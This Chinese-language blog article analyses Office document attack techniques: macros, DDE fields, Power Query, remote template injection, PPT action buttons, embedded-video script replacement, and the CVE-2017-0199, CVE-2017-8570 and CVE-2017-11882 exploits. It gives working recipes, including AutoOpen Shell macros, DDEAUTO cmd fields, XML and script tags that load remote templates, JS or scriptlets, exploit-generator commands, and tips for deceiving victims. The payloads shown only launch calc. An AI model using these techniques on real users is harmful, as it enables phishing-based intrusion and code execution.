office文档攻击面分析

office文档攻击面分析

通过office文档来投递载荷是常见的攻击方式,无论是APT组织还是平时的红蓝对抗、攻防演习,都喜欢通过这种方式打开一个入口。大致流程是:以邮件为载体,伪装成正常的邮件内容,附件带上精心构造好的漏洞office文档,收信人打开阅读就会触发恶意的代码,沦陷中招。office恶意文档的构造利用方式也是多种多样的,如宏、DDE协议、Power Query、模板注入、ppt动作按钮、内嵌视频、OLE2link、Package Moniker加载、公式编辑器等,下面就对各种利用方法做进一步的分析。
-w950

office文档格式

office文档格式分为两种,一种是2007之前的版本,文档格式是OLESS(OLE Structured Storage),它是一种对象链接和嵌入的技术,该技术可以包含文本,图形,电子表格甚至其他二进制数据。2007以及之后的版本采用OpenXML格式,实际是压缩文件,可以直接通过压缩工具解压查看。详细介绍可参考Office恶意文件解析与混淆研究

原理

宏文档是最常见的office攻击文档,官方解释宏是可用于自动执行某一重复任务的一系列命令,可在您必须执行该任务时运行。宏文档成功的关键是欺骗用户允许启用宏。

利用

环境:win7+office2010
新建一个普通的word文档,视图=>宏
宏名字:AutoOpen
宏位置:当前文件名的文档
-w808

-w866
在宏编辑器窗口,插入代码,关闭编辑器窗口

1
2
3
Sub AutoOpen()
Shell("cmd.exe /c calc.exe")
End Sub

文件另存为启用宏的文档,打开文档,提示启用宏,允许就会触发宏执行代码
-w839

DDE

原理

DDE(动态数据交换),Windows为应用之间进行数据传输提供了多种传输方式,其中一种叫做动态交换协议,我们简称它为DDE协议。DDE协议其实就是一套信息与指导参考。它在共享数据的应用程序之间发送消息,并使用共享内存在应用程序之间进行数据交换。应用程序可以使用DDE协议进行一次性数据传输和持续交换,应用程序在新的数据可用时,会将更新发送给彼此。通过自定义DDE字段,插入执行代码。通过使用DDE可以在不启用宏的情况下执行命令。

利用

环境:win7+office2010
新建Word文档,Ctrl+F9添加一个域,然后修改域代码为

1
DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"

更新域,保存文件
-w677

重新打开文档,提示更新文档
-w507

选择是,命令执行成功,不足之处是有两次弹窗确认。
-w736

Power Query

原理

利用Excel中的Power Query功能动态启动针对Excel电子表格的远程DDE攻击,可利用Power Query来释放payload或收集信息。

利用

环境:win10+office2013
在web服务器新建一个文本文件PowerQuery.txt,内容:
=cmd|'/c calc.exe'!A1,
然后execel表格使用Power Query来查询我们构造的恶意web页面。
数据=>来自网站=>url地址=>转到=>导入=保存文件
-w770

重新打开会有安全提示,点击启用内容,然后只要点击表格的任意位置就会触发执行代码。
-w852
-w1207

实际环境中可把表格位置放在隐蔽位置,别放到A1。

模板注入

原理

word模板注入是利用Word文档加载附加模板时的缺陷,加载的模板是带宏的恶意模板,从而间接执行宏代码。模板注入分为远程和本地模板,远程通过http协议加载模板,本地可以通过file协议加载,实战中大部分都是远程加载。

利用

环境:win7+office2010
先创建一个启用宏的dotm文件

1
2
3
Sub AutoOpen()
Shell("cmd.exe /c calc.exe")
End Sub

将宏文档部署到web服务器上,再创建一个docx文件,选用一个word的模板,然后将docx用压缩工具打开,修改修改./word/_rels/settings.xml.rels文件的Target地址
-w922

1
2
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://example.com/OfficeRemoteTemplateInject.dotm" TargetMode="External"/></Relationships>

打开修改后的docx文件,就会远程加载启用了宏的文件

-w896

PPT动作按钮

原理

利用ppt的动作按钮内置功能,执行恶意代码

利用

环境:win7+office2010
新建ppt文档,创建内容,选择动作

-w602

选择鼠标移过,允许程序:
C:\Windows\System32\calc.exe
-w557
文档保存为ppsx文档,重新打开,当鼠标滑过内容时,会弹出来一个安全提示,选择启用就会执行指定的代码

-w594

-w529

内嵌视频

原理

在 Word 文档中嵌入视频时, 将创建一个HTML脚本, 并在单击文档中的缩略图时IE浏览器执行它。攻击者通过编辑文档的xml文件,将视频链接替换为恶意js代码,缩略图显示的仍然是被嵌入的在线视频链接,。播放视频执行的却是被替换为恶意js代码。代码会用msSaveOrOpenBlob方法打开有运行或保存文件选项的IE下载管理器来触发下载可执行文件。

利用

环境:win7+office2013
当用户点击播放恶意Office文档中嵌入的恶意的视频时,可在机器上执行在document.xml中的JavaScript代码。

新建word文档,插入=>联机视频,选择一段youtube视频,或者直接找一个视频链接嵌入也可以。
-w903

保存文档,用压缩工具打开编辑word/document.xml
-w563

找到含有Youtube iframe代码的embeddedHtml参数,用想要执行的html或JS代码替换当前iframe代码
embeddedHtml="&lt;script src=&quot;https://static-1257872780.cos.ap-shanghai.myqcloud.com/test/embedded.js&quot;&gt;&lt;/script&gt;"/>

-w1113
保存修改后的document.xml文件,更新word文档。重新打开word文档。
效果如下:
点击播放视频,弹出下载管理器保存或运行payload的用户弹窗,伪装成Flash Player更新,欺骗用户点击执行。

插入外部对象(OLE2link)

原理

利用Office OLE对象链接技术,将恶意的链接对象嵌入正常的RTF文件中,当打开文档时会下载并执行远程的恶意文件。

利用

环境:win10+office2013
代表漏洞有CVE-2017-0199、CVE-2017-8759,这里以CVE-2017-0199为例。
在web网站根目录下新建一个rtf文件内容任意,命名ms.rtf 。然后新建一个word文档,插入=>对象=>由文件创建=>链接到文件=>ms.rtf的地址,再将word另存为rtf格式,文件名为exp.rtf
-w850

再将ms.rtf内容改为:

1
2
3
var a = new ActiveXObject("wscript.shell");
a.Run("%SystemRoot%\\system32\\calc.exe");
</script>

此时设置服务器的文件的header头Content-Type改为application/hta

去掉弹窗确认,再用编辑器打开exp.rtf,将\object\objautlink\rsltpict修改为\object\objautlink\objupdate\rsltpict,保存文档,重新打开就会直接运行远程的hta脚本,无需确认。

-w1012

使用ole tools分析漏洞文档,用rtfobj提取bin文件
-w644

可以看到OLE对象的class name为ole2link,以及嵌入的恶意url地址。

Package Moniker

原理

利用Office OLE中的Composite Moniker对象在组合File Moniker对象的过程中,未做安全性检测,将File Moniker对象指定的远程/本地的脚本文件在Office中直接执行。

利用

环境:win7+office2010
Package Moniker对应的漏洞有CVE-2017-0199、CVE-2017-8570,这里CVE-2017-8570为例。
利用工具Office8570制作生成ppsx文档
python cve-2017-8570_toolkit.py -M gen -w OfficePackageMonikerExecution.ppsx -u http://example.com/logo.doc

logo.doc为如下sct文件,部署到web服务器即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?XML version="1.0"?>
<scriptlet>

<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true"
>
</registration>

<script language="JScript">
<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("calc.exe");


]]>
</script>

</scriptlet>

打开ppt文档,便会加载执行sct脚本

查看ppt文档的解压缩文件ppt\slides_rels\slide1.xml.rels,ID为rId3的是一个OLE对象,指向的链接正是上面的脚本地址
-w1121

公式编辑器漏洞

原理

以CVE-2017-11882为例,也称为噩梦公式漏洞。该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时,在拷贝公式字体名称时没有对名称长度进行校验,从而造成栈缓冲区溢出,是一个经典的栈溢出漏洞。
-w518

利用

环境:win7+office2010
直接用脚本生成漏洞利用文档
python Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o EQNEDT-Execution.doc
打开文档,命令直接执行,无弹窗。

查看进程,可以看到这个漏洞是由EQNEDT32.EXE造成的
-w768

使用ole tools分析漏洞文档,用rtfobj提取bin文件
-w661
看到OLE对象的class name为Equation.3,再用olebrowse对它进行分析,该类型OLE对象中内嵌了Equation Native数据流
-w546

-w645
可以看到这里就是溢出的时候用来覆盖内容。

总结

本文介绍了通过利用宏、DDE协议、Power Query、模板注入、ppt动作按钮、内嵌视频、OLE2link等通过自身特性的方式,构造恶意文档实现代码执行的方法,以及利用Package Moniker加载时未做校验的缺陷和公式编辑器的栈溢出漏洞实现的无感攻击方法。总结后发现office文档下的攻击着实很精彩,值得深入研究探索,尤其是自身特性的利用。本文只是抛砖引玉,限于时间和篇幅,没有对免杀和弹窗做处理,还有更多更好的方法还请大家一起来深入讨论。

参考

CVE-2017-11882 漏洞复现
Hide and Script: Inserted Malicious URLs within Office Documents’ Embedded Videos
如何利用Power Query功能实现DDE攻击
宏观视角下的office漏洞